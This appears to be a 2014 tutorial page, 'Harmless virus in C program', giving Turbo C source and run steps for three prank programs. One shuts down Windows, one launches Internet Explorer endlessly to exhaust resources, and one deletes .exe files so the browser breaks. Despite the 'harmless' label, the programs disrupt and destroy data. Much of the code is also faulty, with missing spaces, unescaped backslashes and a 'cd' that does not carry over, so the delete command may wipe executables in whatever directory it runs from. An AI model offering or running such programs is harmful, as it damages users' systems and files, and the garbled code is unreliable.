Harmless virus in C program

Write c program which shutdown the window operating system?

Answer:

Step 1:Write the following program in TURBO C.

#include<stdio.h>

#include<dos.h>

intmain(void){

system("shutdown -s");

return 0;

}

Step 2:Save the above file. Let file name is close.c

Step 3:Onlycompile the above program.

Step 4:Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin)

Step 5:Double click on its .exe file (close.exe)

After some time your window operating system will shutdown.

(2) Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times?

Answer:

Step 1:Write the following program in TURBO C.

#include<stdio.h>

#include<dos.h>

intmain(void){

for(; ;){

system("c:\progra~1\intern~1\iexplore.exe");

}

return 0;

}

Step 2:Save the above file. Let file name is internet.c

Step 3:Onlycompile the above program.

Step 4:Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)

Step 5:Double click on its .exe file (internet.exe)

(3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work?

Answer:

Write the following program in TURBO C.

#include<stdio.h>

#include<dos.h>

intmain(void){

system("cd c:\progra~1\intern~1");

system("del*.exe");

system("cls");

return 0;

}

Step 2:Save the above file. Let file name is delete.c

Step 3:Onlycompile the above program.

Step 4:Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:\tc\bin)

Step 5:Double click on its .exe file (delete.exe)

Note: Above code has written in trubo c 3.0

Created at 2014-08-10

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